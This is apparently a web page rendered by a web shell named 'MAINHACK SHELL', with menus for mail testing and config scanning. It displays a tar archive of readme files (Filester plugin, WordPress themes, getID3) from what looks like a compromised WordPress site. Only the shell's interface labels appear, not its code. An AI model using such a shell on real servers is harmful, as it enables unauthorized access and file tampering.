[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: readme.txt.tar
home/inceptionblue/public_html/wp-content/plugins/filester/readme.txt 0000644 00000021672 15150141176 0022241 0 ustar 00 === File Manager Pro - Filester === Contributors: ninjateam Donate link: https://ninjateam.org/wordpress-media-library-folders/ Tags: file manager, wordpress file manager, wp file manager, files, download plugin Requires at least: 3.0 Tested up to: 6.9 Stable tag: 2.0.2 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Advanced File Manager and Code Editor. Best WordPress file manager without FTP access. No need to upgrade because this is PRO version. == Description == Filester is a WP File Manager Pro plugin, but you can download and use it completely for free. It comes with all the **premium features** of other WordPress advanced file manager plugins out there. Filester helps you manage **WordPress configuration files**, while [FileBird](https://1.envato.market/FileBird-Folders-Plugin) allows you to manage/upload/download **media library folders**. With Filester - File Manager Pro, you can copy, paste, create an archive, download, upload, edit, delete, preview, duplicate, and get info of the WordPress configuration and directory files **without FTP access**. This file manager plugin is dedicated to boosting your productivity in managing WordPress. All necessary file operations are fully provided and tested on a variety of servers and browsers. Another thing you will appreciate about it is the clean and compact UI/UX, which makes editing and transferring directory files and folders extra fast. **Did you know?** More than [700,000 WordPress websites](https://www.wordfence.com/blog/2020/09/millions-of-sites-targeted-in-file-manager-vulnerability-attacks/) were attacked during September 2020. Malicious bots are looking to exploit vulnerable versions of WP file manager plugins. Fortunately, Filester comes with this vulnerability **fixed**! Filester poses no risk to you, so rest assured! đ¤ ###âĄď¸ FEATURES - **Drag & drop interface:** Easily move and arrange files - **Smart context menu:** Right-click on any files to make operations - **Manage files and folders:** Copy, move, upload, create folder/file, rename, duplicate, etc. - **Built-in advanced code editor:** Integrated development environment ACE Editor, CodeMirror, CKEditor, TinyMCE, and others - **Flexible configuration:** Access rights, uploadable file types/extensions, maximum file size limit, and more - **Create/extract archives:** .zip, .rar, .xz, .tar, .gzip - **Great UI/UX design:** Clean, high-quality & productivity-driven - **User authority settings:** File extensions to be locked, file visibility, root path access, .htaccess file - **Edit media files:** Using Photopea & TUI Image Editor - **Multiple languages supported:** English, German, Spanish, Italian, French, Japanese, etc. - **RTL supported:** Hebrew, Arabic, Persian, Kurdish, etc. ###đ OTHER FEATURES - Local file system - Simple client-server API based on JSON - List and icon view - Multi-root support - Hidden files/folders options - Set hidden files for other users - Root path for each user role - Easy to navigate - 6 themes for your preferred interface ###đ HOW IT WORKS Filester plugin helps you easily manage WordPress files so that you donât have to access directories via FTP or cPanel. This plugin creates a new menu **File Manager** in your WordPress dashboard. From then on, you can view all server files, configuration, and media files on your current WordPress website. You can edit, copy, upload/download files/folders to your server from File Manager section. This toolbar is similar to the settings in an FTP client. It allows you to preview, edit, upload, download, duplicate and delete files or folders. With Filester, it's easy to modify the auto-update mechanism with each new version of WordPress. You can quickly **search for specific text or code** within your WordPress files and replace it efficiently. With built-in code editors, you can edit code files with syntax highlighting and code completion features for themes, plugins, and custom code snippets. It takes one click to download a plugin's **ZIP file** to your local storage. It helps track changes made to files and revert to previous versions if needed. All webmasters can also [download WordPress media library](https://ninjateam.org/download-wordpress-media-library/) using Filester download options as well. ###đ COMPATIBILITY Filester works seamlessly with all major WordPress themes, page builders, and website builders. đ **Like Filester?** [Share your experience](https://wordpress.org/support/plugin/filester/reviews/?filter=5) and empower other users to manage WordPress like a pro. đ Check out NinjaTeam [WordPress tutorials](https://ninjateam.org/category/tutorials/). = CREDIT = Big thanks to elFinder - open-source file manager for web. == Installation == Manual installation is easy and takes less than one minute. 1. Download the plugin from wordpress.org, unpack it and upload the **[Filester]** folder to your **wp-content/plugins/** directory. 2. Activate the plugin through the âPluginsâ menu in WordPress. 3. Go to your main **WordPress menu > File Manager** to use. Youâre done. Enjoy. == Frequently Asked Questions == = Is it compatible with WordPress 6.8? = Definitely yes! Weâre always up-to-date to give you the best experience in using our plugin. = Do all folders work the same way as they do in FTP client? = Yes. You can click on any folder / file to preview or edit its content. The file will be opened in a pop-up, so you can make changes and save it. = Is Filester free? = Yes, Filester is totally free and full-fledged with premium features. You won't be asked to upgrade to any pro versions. We make it free because we think every WordPress user deserves file manager resources. = How can I get support if I encounter issues with Filester? = You can [create a new topic](https://wordpress.org/support/plugin/filester/#new-topic-0), and we'll come back shortly for a quick fix. Otherwise, feel free to reach us at [Ninja Team Support Center](https://ninjateam.org/support/). == Screenshots == 1. WP file manager for WordPress directory 2. Filester general settings 3. Filester user role restriction settings 4. Top free file manager plugins comparison chart == Changelog == = Dec 17, 2025 - Version 2.0.2 = - Added: Implement validation and auto-correction for the root folder path and URL - Fixed: Occasionally, "/s/" is included in the link path on the file info = Oct 29, 2025 - Version 2.0.1 = - Fixed: Display notice - Fixed: Miss Themes folder = Sep 12, 2025 - Version 2.0 = - Updated: Elfinder library ver 2.1.66 - Added: Icon Refresh folder = Jun 28, 2025 - Version 1.9 = - Fixed: Authenticated (Subscriber+) Directory Traversal to Arbitrary File Deletion = Jun 11, 2025 - Version 1.8.9 = - Fixed: Patchstack security report = May 15, 2025 - Version 1.8.8 = - Improved: Prevent abuse via modified .htaccess file - Fixed: A vulnerability due to missing file type validation = Dec 17, 2024 - Version 1.8.7 = - Fixed: Security (CVE ID: CVE-2024-8066) = Nov 25, 2024 - Version 1.8.6 = - Fixed: Security = Nov 12, 2024 - Version 1.8.5 = - Fixed: Security = Aug 7, 2024 - Version 1.8.4 = - Fixed: Plugin missing .js / 403 error query = Aug 1, 2024 - Version 1.8.3 = - Fixed: Unauthorized modification of data due to a missing capability check = Dec 18, 2023 - Version 1.8.2 = - Updated: Elfinder library to version 2.1.62 = Sep 12, 2023 - Version 1.8.1 = - Fixed: Security for multisite = Sep 8, 2023 - Version 1.8 = - Fixed: Security issue = Jun 27, 2022 - Version 1.7.6 = - Added: Recommend plugins = Jun 20, 2022 - Version 1.7.5 = - Added: Recommend plugins = Dec 2, 2021 - Version 1.7.4 = - Fixed: Conflict with plugin Nested Pages = Jul 8, 2021 - Version 1.7.3 = - Fixed: User role restrictions - Fixed: Image notification = Mar 25, 2021 - Version 1.7.2 = - Fixed: Small bug = Mar 25, 2021 - Version 1.7.1 = - Fixed: Small bug = Mar 25, 2021 - Version 1.7 = - Improved: UI - Fixed: Small bug = Mar 15, 2021 - Version 1.6.1 = - Fixed: Small bug = Feb 3, 2021 - Version 1.6 = - Added: MIME type logic for user roles - Added: URL field - Fixed: Image and PDF preview - Fixed: Some small bugs = Jan 11, 2021 - Version 1.5.2 = - Added: MIME type support for .xlsb and .xlsm files - Fixed: Compatibility with older WordPress versions - Fixed: CSV file upload = Dec 17, 2020 - Version 1.5.1 = - Updated: jQuery UI to latest version = Dec 10, 2020 - Version 1.5 = - Updated: Elfinder to latest version - Improved: Compatibility with WordPress 5.6 = Aug 7, 2020 - Version 1.4.1 = - Fixed: Display issue in WordPress multisite menu - Fixed: Windows 10 theme not working on Linux servers = Jul 2, 2020 - Version 1.4 = - Improved: Double-click to open or preview file - Fixed: Some small bugs = Jun 24, 2020 - Version 1.3 = - Improved: Icon styling - Fixed: Language selection - Fixed: Private CSS/JS handling - Fixed: Some small bugs = Jun 16, 2020 - Version 1.2 = - Fixed: Trash issue - Fixed: Some small bugs = May 29, 2020 - Version 1.1 = - Fixed: Some small bugs - Improved: UI = May 8, 2020 - Version 1.0 = - Initial release home/inceptionblue/public_html/wp-content/themes/twentytwentyfour/readme.txt 0000644 00000005144 15150270744 0023731 0 ustar 00 === Twenty Twenty-Four === Contributors: wordpressdotorg Requires at least: 6.4 Tested up to: 6.4 Requires PHP: 7.0 Stable tag: 1.0 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html == Description == Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collection of templates and patterns tailor to different needs, such as presenting a business, blogging and writing or showcasing work. A multitude of possibilities open up with just a few adjustments to color and typography. Twenty Twenty-Four comes with style variations and full page designs to help speed up the site building process, is fully compatible with the site editor, and takes advantage of new design tools introduced in WordPress 6.4. == Changelog == = 1.0 = * Released: November 7, 2023 https://wordpress.org/documentation/article/twenty-twenty-four-changelog/#Version_1.0 == Copyright == Twenty Twenty-Four WordPress Theme, (C) 2023 WordPress.org Twenty Twenty-Four is distributed under the terms of the GNU GPL. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. === Images === License: CC0 https://creativecommons.org/publicdomain/zero/1.0/ museum.webp - https://www.rawpixel.com/image/3297419/free-photo-image-interior-hallway-architecture tourist-and-building.webp - https://www.rawpixel.com/image/5928004/photo-image-public-domain-hand-person building-exterior.webp - https://www.rawpixel.com/image/430335/free-photo-image-architecture-building-roof windows.webp - https://www.rawpixel.com/image/3286615/free-photo-image-texture-architecture-building abstract-geometric-art.webp - https://www.rawpixel.com/image/3283970/free-photo-image-pattern-artwork-abstract angular-roof.webp - https://www.rawpixel.com/image/3289063/free-photo-image-architectural-detail-architecture art-gallery.webp - https://www.rawpixel.com/image/3286187/free-photo-image-person-stairs-architecture green-staircase.webp - https://www.rawpixel.com/image/430558/free-photo-image-abstract-architecture-art-public-domain hotel-facade.webp - https://www.rawpixel.com/image/3286725/free-photo-image-black-and-white-background-photos License: UNICODE LICENSE V3 https://www.unicode.org/license.txt icon-message.webp home/inceptionblue/public_html/wp-content/themes/twentytwentyfive/readme.txt 0000644 00000020371 15150271140 0023675 0 ustar 00 === Twenty Twenty-Five === Contributors: wordpressdotorg Requires at least: 6.7 Tested up to: 6.7 Requires PHP: 7.2 Stable tag: 1.0 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html == Description == Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, supported by a variety of patterns for different page types, such as services and landing pages, making it ideal for building personal blogs, professional portfolios, online magazines, or business websites. Its templates cater to various blog styles, from text-focused to image-heavy layouts. Additionally, it supports international typography and diverse color palettes, ensuring accessibility and customization for users worldwide. == Changelog == == Copyright == Twenty Twenty-Five WordPress Theme, (C) 2024 WordPress.org and contributors. Twenty Twenty-Five is distributed under the terms of the GNU GPL. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. This theme incorporates code from: Twenty Twenty-Four WordPress Theme, (C) 2023 WordPress.org License: GPLv2 or later. License URI: http://www.gnu.org/licenses/gpl-2.0.html This theme bundles the following third-party resources: === Fonts === .ttf files downloaded from fonts.google.com have been converted to .woff2 using https://github.com/google/woff2 Fira Code Font Copyright (c) 2014, The Fira Code Project Authors License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/tonsky/FiraCode Source: https://fonts.google.com/specimen/Fira+Code Manrope Font Copyright (c) 2018 The Manrope Project Authors License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/sharanda/manrope Source: https://fonts.google.com/specimen/Manrope Vollkorn Font Copyright (c) 2005â2018, Friedrich Althausen License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/FAlthausen/Vollkorn-Typeface Source: https://fonts.google.com/specimen/Vollkorn Fira Sans Font Digitized data copyright (c) 2012-2015, The Mozilla Foundation and Telefonica S.A. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/mozilla/Fira Source: https://fonts.google.com/specimen/Fira+Sans Platypi Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/d-sargent/platypi Source: https://fonts.google.com/specimen/Platypi Ysabeau Office Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/CatharsisFonts/Ysabeau Source: https://fonts.google.com/specimen/Ysabeau+Office Literata Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/googlefonts/literata Source: https://fonts.google.com/specimen/Literata Roboto Slab Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: hhttps://github.com/googlefonts/robotoslab Source: https://fonts.google.com/specimen/Roboto+Slab Beiruti Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/googlefonts/beiruti Source: https://fonts.google.com/specimen/Beiruti === Images === Northern Buttercups. Free public domain CC0 image. northern-buttercups-flowers.webp https://www.rawpixel.com/image/8802603 License: CC0 https://creativecommons.org/publicdomain/zero/1.0/ Small totara tree on ridge above Long Point, Porirua Harbour, by Leslie Adkin. Free public domain CC0 image. 404-image.webp https://www.rawpixel.com/image/13029755 Old gray paris map. Free public domain CC0 image. location.webp https://www.rawpixel.com/image/6033837 Delphinium (Larkspur). Free public domain CC0 image. delphinium-flowers.webp https://www.rawpixel.com/image/2224378 Campanula Alliariifolia (Cornish Bellflower). Free public domain CC0 image. campanula-alliariifolia-flower.webp https://www.rawpixel.com/image/2222755 Centaurea Ruthenica(Star Thristle). Free public domain CC0 image. star-thristle-flower.webp https://www.rawpixel.com/image/2211732 Botany flowers. Free public domain CC0 image. botany-flowers.webp botany-flowers-closeup.webp https://www.rawpixel.com/image/8812207 Person typing on a typewriter. Free public domain CC0 image. typewriter.webp https://www.rawpixel.com/image/12240004/photo-image-face-person-technology Woman wearing a traditional nurse's cap, photographed from behind. nurse.webp Free public domain CC0 image. https://www.rawpixel.com/image/8782633/photo-image-person-white Woman splashing water, at Lake George. woman-splashing-water.webp Free public domain CC0 image. https://www.rawpixel.com/image/9758986/photo-image-people-art-vintage Man in hat, standing in front of a building. man-in-hat.webp Free public domain CC0 image. https://www.slam.org/collection/objects/62642/ African Woman by Pascal SĂŠbah and Jean Pascal SĂŠbah Free public domain CC0 image. agenda-img-4.webp https://www.rawpixel.com/image/14263497 Two Girls, Mill Workers by Lewis W Hine. Free public domain CC0 image. link-in-bio-background.webp https://www.rawpixel.com/image/14265869 Cliff Palace, Mesa Verde National Park, Colorado (vertical orientation) Free public domain CC0 image. poster-image-background.webp ruins-image.webp https://www.rawpixel.com/image/8802835 Flower meadow in Llano, Texas. Free public domain CC0 image. coming-soon-bg-image.webp flower-meadow-square.webp services-subscriber-photo.webp https://www.rawpixel.com/image/8800058 Hibiscus flower. Free public domain CC0 image. grid-flower-1.webp red-hibiscus-closeup.webp https://www.rawpixel.com/image/8799471 Phacelia tanacetifolia (Lacy Phacelia) enlarged 4 times from Urformen der Kunst (1928) by Karl Blossfeldt. Free public domain CC0 image. grid-flower-2.webp https://www.rawpixel.com/image/2222743 At Hawaiian Greenhouse, Inc, near Pahoa, anthuriums grow under a sun screen. Free public domain CC0 image. category-anthuriums.webp https://www.rawpixel.com/image/8799473 Sunflower Free public domain CC0 image. category-sunflowers.webp https://www.rawpixel.com/image/8799614 Detail of cactus "Saguaros, Saguro National Monument," Arizona. Photographer: Adams, Ansel, 1902-1984 Free public domain CC0 image. category-cactus.webp https://www.rawpixel.com/image/8799351 Vash Gon - Jicarilla by Edward S Curtis. Free public domain CC0 image. vash-gon-square.webp https://www.rawpixel.com/image/14262822 One of the 40 Or More Species of Coral at John Pennekamp Coral Reef State Park, a Few Miles Off Key Largo. Free public domain CC0 image. coral-square.webp https://www.rawpixel.com/image/8799931 Parthenon op de Akropolis in Athene (westzijde) (c. 1880 - c. 1890) by Rhomaides Frères. Free public domain CC0 image. parthenon-square.webp https://www.rawpixel.com/image/13759051 Near East Dallas Creek, 05/1972. Photographer: Norton, Boyd. Free public domain CC0 image. dallas-creek-square.webp https://www.rawpixel.com/image/8802688 Marshland birds at the Lake Havasu National Wildlife Refuge. Free public domain CC0 image. marshland-birds-square.webp https://www.rawpixel.com/image/8799403 Photograph - New York [Portrait - Washington Square] by Paul Strand. Free public domain CC0 image. hero-podcast.webp https://www.rawpixel.com/image/14264288 Evening Breeze by Asahachi Kono. Free public domain CC0 image. link-in-bio-image https://www.rawpixel.com/image/14262995 Bust by Mathew brady. Free public domain CC0 image. book-image-landing.webp book-image.webp https://www.rawpixel.com/image/8799536 Book template by Beatriz Fialho, public domain. Flora of Akaka Falls State Park. Free public domain CC0 image. akaka-falls-state-park-flora.webp https://www.rawpixel.com/image/8802845 Closeup of plantlife in the Malibu Canyon area of the Santa Monica Mountains. Free public domain CC0 image. malibu-plantlife.webp https://www.rawpixel.com/image/8799918 home/inceptionblue/public_html/wp-includes/ID3/readme.txt 0000644 00000063332 15150276444 0017464 0 ustar 00 ///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich <info@getid3.org> // // available at http://getid3.sourceforge.net // // or https://www.getid3.org // // also https://github.com/JamesHeinrich/getID3 // ///////////////////////////////////////////////////////////////// ***************************************************************** ***************************************************************** getID3() is released under multiple licenses. You may choose from the following licenses, and use getID3 according to the terms of the license most suitable to your project. GNU GPL: https://gnu.org/licenses/gpl.html (v3) https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) getID3 Commercial License: https://www.getid3.org/#gCL (no longer available, existing licenses remain valid) ***************************************************************** ***************************************************************** Copies of each of the above licenses are included in the 'licenses' directory of the getID3 distribution. +----------------------------------------------+ | If you want to donate, there is a link on | | https://www.getid3.org for PayPal donations. | +----------------------------------------------+ Quick Start =========================================================================== Q: How can I check that getID3() works on my server/files? A: Unzip getID3() to a directory, then access /demos/demo.browse.php Support =========================================================================== Q: I have a question, or I found a bug. What do I do? A: The preferred method of support requests and/or bug reports is the forum at http://support.getid3.org/ Sourceforge Notification =========================================================================== It's highly recommended that you sign up for notification from Sourceforge for when new versions are released. Please visit: http://sourceforge.net/project/showfiles.php?group_id=55859 and click the little "monitor package" icon/link. If you're previously signed up for the mailing list, be aware that it has been discontinued, only the automated Sourceforge notification will be used from now on. What does getID3() do? =========================================================================== Reads & parses (to varying degrees): ¤ tags: * APE (v1 and v2) * ID3v1 (& ID3v1.1) * ID3v2 (v2.4, v2.3, v2.2) * Lyrics3 (v1 & v2) ¤ audio-lossy: * MP3/MP2/MP1 * MPC / Musepack * Ogg (Vorbis, OggFLAC, Speex, Opus) * AAC / MP4 * AC3 * DTS * RealAudio * Speex * DSS * VQF ¤ audio-lossless: * AIFF * AU * Bonk * CD-audio (*.cda) * FLAC * LA (Lossless Audio) * LiteWave * LPAC * MIDI * Monkey's Audio * OptimFROG * RKAU * Shorten * TTA * VOC * WAV (RIFF) * WavPack ¤ audio-video: * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV) * AVI (RIFF) * Flash * Matroska (MKV) * MPEG-1 / MPEG-2 * NSV (Nullsoft Streaming Video) * Quicktime (including MP4) * RealVideo ¤ still image: * BMP * GIF * JPEG * PNG * TIFF * SWF (Flash) * PhotoCD ¤ data: * ISO-9660 CD-ROM image (directory structure) * SZIP (limited support) * ZIP (directory structure) * TAR * CUE Writes: * ID3v1 (& ID3v1.1) * ID3v2 (v2.3 & v2.4) * VorbisComment on OggVorbis * VorbisComment on FLAC (not OggFLAC) * APE v2 * Lyrics3 (delete only) Requirements =========================================================================== * PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier) * PHP 5.0.5 (or higher) for getID3() 1.8.x (and up) * PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up) * PHP 5.3.0 (or higher) for getID3() 2.0.x (and up) * at least 4MB memory for PHP. 8MB or more is highly recommended. 12MB is required with all modules loaded. Usage =========================================================================== See /demos/demo.basic.php for a very basic use of getID3() with no fancy output, just scanning one file. See structure.txt for the returned data structure. *> For an example of a complete directory-browsing, <* *> file-scanning implementation of getID3(), please run <* *> /demos/demo.browse.php <* See /demos/demo.mysql.php for a sample recursive scanning code that scans every file in a given directory, and all sub-directories, stores the results in a database and allows various analysis / maintenance operations To analyze remote files over HTTP or FTP you need to copy the file locally first before running getID3(). Your code would look something like this: // Copy remote file locally to scan with getID3() $remotefilename = 'http://www.example.com/filename.mp3'; if ($fp_remote = fopen($remotefilename, 'rb')) { $localtempfilename = tempnam('/tmp', 'getID3'); if ($fp_local = fopen($localtempfilename, 'wb')) { while ($buffer = fread($fp_remote, 32768)) { fwrite($fp_local, $buffer); } fclose($fp_local); $remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER); $remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null); // Initialize getID3 engine $getID3 = new getID3; $ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename)); // Delete temporary file unlink($localtempfilename); } fclose($fp_remote); } Note: since v1.9.9-20150212 it is possible a second and third parameter to $getID3->analyze(), for original filesize and original filename respectively. This permits you to download only a portion of a large remote file but get accurate playtime estimates, assuming the format only requires the beginning of the file for correct format analysis. See /demos/demo.write.php for how to write tags. What does the returned data structure look like? =========================================================================== See structure.txt It is recommended that you look at the output of /demos/demo.browse.php scanning the file(s) you're interested in to confirm what data is actually returned for any particular filetype in general, and your files in particular, as the actual data returned may vary considerably depending on what information is available in the file itself. Notes =========================================================================== getID3() 1.x: If the format parser encounters a critical problem, it will return something in $fileinfo['error'], describing the encountered error. If a less critical error or notice is generated it will appear in $fileinfo['warning']. Both keys may contain more than one warning or error. If something is returned in ['error'] then the file was not correctly parsed and returned data may or may not be correct and/or complete. If something is returned in ['warning'] (and not ['error']) then the data that is returned is OK - usually getID3() is reporting errors in the file that have been worked around due to known bugs in other programs. Some warnings may indicate that the data that is returned is OK but that some data could not be extracted due to errors in the file. getID3() 2.x: See above except errors are thrown (so you will only get one error). Disclaimer =========================================================================== getID3() has been tested on many systems, on many types of files, under many operating systems, and is generally believe to be stable and safe. That being said, there is still the chance there is an undiscovered and/or unfixed bug that may potentially corrupt your file, especially within the writing functions. By using getID3() you agree that it's not my fault if any of your files are corrupted. In fact, I'm not liable for anything :) License =========================================================================== GNU General Public License - see license.txt This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to: Free Software Foundation, Inc. 59 Temple Place - Suite 330 Boston, MA 02111-1307, USA. FAQ: Q: Can I use getID3() in my program? Do I need a commercial license? A: You're generally free to use getID3 however you see fit. The only case in which you would require a commercial license is if you're selling your closed-source program that integrates getID3. If you sell your program including a copy of getID3, that's fine as long as you include a copy of the sourcecode when you sell it. Or you can distribute your code without getID3 and say "download it from getid3.sourceforge.net" Why is it called "getID3()" if it does so much more than just that? =========================================================================== v0.1 did in fact just do that. I don't have a copy of code that old, but I could essentially write it today with a one-line function: function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); } Future Plans =========================================================================== https://www.getid3.org/phpBB3/viewforum.php?f=7 * Better support for MP4 container format * Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0) * Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm) * Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669) * Support for ACE (thanks Vince) * Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid) * Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header * Ability to "clean" ID3v2 padding (replace invalid padding with valid padding) * Warn if MP3s change version mid-stream (in full-scan mode) * check for corrupt/broken mid-file MP3 streams in histogram scan * Support for lossless-compression formats (http://www.firstpr.com.au/audiocomp/lossless/#Links) (http://compression.ca/act-sound.html) (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm) * Support for RIFF-INFO chunks * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html (thanks Nick Humfrey <njhĂsurgeradio*co*uk>) * http://abcavi.narod.ru/sof/abcavi/infotags.htm (thanks Kibi) * Better support for Bink video * http://www.hr/josip/DSP/AudioFile2.html * http://www.pcisys.net/~melanson/codecs/ * Detect mp3PRO * Support for PSD * Support for JPC * Support for JP2 * Support for JPX * Support for JB2 * Support for IFF * Support for ICO * Support for ANI * Support for EXE (comments, author, etc) (thanks p*quaedackersĂplanet*nl) * Support for DVD-IFO (region, subtitles, aspect ratio, etc) (thanks p*quaedackersĂplanet*nl) * More complete support for SWF - parsing encapsulated MP3 and/or JPEG content (thanks n8n8Ăyahoo*com) * Support for a2b * Optional scan-through-frames for AVI verification (thanks rockcohenĂmassive-interactive*nl) * Support for TTF (thanks infoĂbutterflyx*com) * Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171) * Support for SMAF (http://smaf-yamaha.com/what/demo.html) https://www.getid3.org/phpBB3/viewtopic.php?t=182 * Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195) * Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195) * Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KĂhotmail*com) * Parse XML data returned in Ogg comments * Parse XML data from Quicktime SMIL metafiles (klausrathĂmac*com) * ID3v2 genre string creator function * More complete parsing of JPG * Support for all old-style ASF packets * ASF/WMA/WMV tag writing * Parse declared T??? ID3v2 text information frames, where appropriate (thanks Christian Fritz for the idea) * Recognize encoder: http://www.guerillasoft.com/EncSpot2/index.html http://ff123.net/identify.html http://www.hydrogenaudio.org/?act=ST&f=16&t=9414 http://www.hydrogenaudio.org/?showtopic=11785 * Support for other OS/2 bitmap structures: Bitmap Array('BA'), Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT') http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm * Support for WavPack RAW mode * ASF/WMA/WMV data packet parsing * ID3v2FrameFlagsLookupTagAlter() * ID3v2FrameFlagsLookupFileAlter() * obey ID3v2 tag alter/preserve/discard rules * http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm * proper checking for LINK/LNK frame validity in ID3v2 writing * proper checking for ASPI-TLEN frame validity in ID3v2 writing * proper checking for COMR frame validity in ID3v2 writing * http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html * decode GEOB ID3v2 structure as encoded by RealJukebox, decode NCON ID3v2 structure as encoded by MusicMatch (probably won't happen - the formats are proprietary) Known Bugs/Issues in getID3() that may be fixed eventually =========================================================================== https://www.getid3.org/phpBB3/viewtopic.php?t=25 * Cannot determine bitrate for MPEG video with VBR video data (need documentation) * Interlace/progressive cannot be determined for MPEG video (need documentation) * MIDI playtime is sometimes inaccurate * AAC-RAW mode files cannot be identified * WavPack-RAW mode files cannot be identified * mp4 files report lots of "Unknown QuickTime atom type" (need documentation) * Encrypted ASF/WMA/WMV files warn about "unhandled GUID ASF_Content_Encryption_Object" * Bitrate split between audio and video cannot be calculated for NSV, only the total bitrate. (need documentation) * All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the problem of large VorbisComments spanning multiple Ogg pages, but but only OggVorbis files can be processed with vorbiscomment. * The version of "head" supplied with Mac OS 10.2.8 (maybe other versions too) does only understands a single option (-n) and therefore fails. getID3 ignores this and returns wrong md5_data. Known Bugs/Issues in getID3() that cannot be fixed -------------------------------------------------- https://www.getid3.org/phpBB3/viewtopic.php?t=25 * 32-bit PHP installations only: Files larger than 2GB cannot always be parsed fully by getID3() due to limitations in the 32-bit PHP filesystem functions. NOTE: Since v1.7.8b3 there is partial support for larger-than- 2GB files, most of which will parse OK, as long as no critical data is located beyond the 2GB offset. Known will-work: * all file formats on 64-bit PHP * ZIP (format doesn't support files >2GB) * FLAC (current encoders don't support files >2GB) Known will-not-work: * ID3v1 tags (always located at end-of-file) * Lyrics3 tags (always located at end-of-file) * APE tags (always located at end-of-file) Maybe-will-work: * Quicktime (will work if needed metadata is before 2GB offset, that is if the file has been hinted/optimized for streaming) * RIFF.WAV (should work fine, but gives warnings about not being able to parse all chunks) * RIFF.AVI (playtime will probably be wrong, is only based on "movi" chunk that fits in the first 2GB, should issue error to show that playtime is incorrect. Other data should be mostly correct, assuming that data is constant throughout the file) * PHP <= v5 on Windows cannot read UTF-8 filenames Known Bugs/Issues in other programs ----------------------------------- https://www.getid3.org/phpBB3/viewtopic.php?t=25 * MusicBrainz Picard (at least up to v1.3.2) writes multiple ID3v2.3 genres in non-standard forward-slash separated text rather than parenthesis-numeric+refinement style per the ID3v2.3 specs. Tags written in ID3v2.4 mode are written correctly. (detected and worked around by getID3()) * PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames into an existing ID3v2.2 tag which, of course, breaks things * Windows Media Player (up to v11) and iTunes (up to v10+) do not correctly handle ID3v2.3 tags with UTF-16BE+BOM encoding (they assume the data is UTF-16LE+BOM and either crash (WMP) or output Asian character set (iTunes) * Winamp (up to v2.80 at least) does not support ID3v2.4 tags, only ID3v2.3 see: http://forums.winamp.com/showthread.php?postid=387524 * Some versions of Helium2 (www.helium2.com) do not write ID3v2.4-compliant Frame Sizes, even though the tag is marked as ID3v2.4) (detected by getID3()) * MP3ext V3.3.17 places a non-compliant padding string at the end of the ID3v2 header. This is supposedly fixed in v3.4b21 but only if you manually add a registry key. This fix is not yet confirmed. (detected by getID3()) * CDex v1.40 (fixed by v1.50b7) writes non-compliant 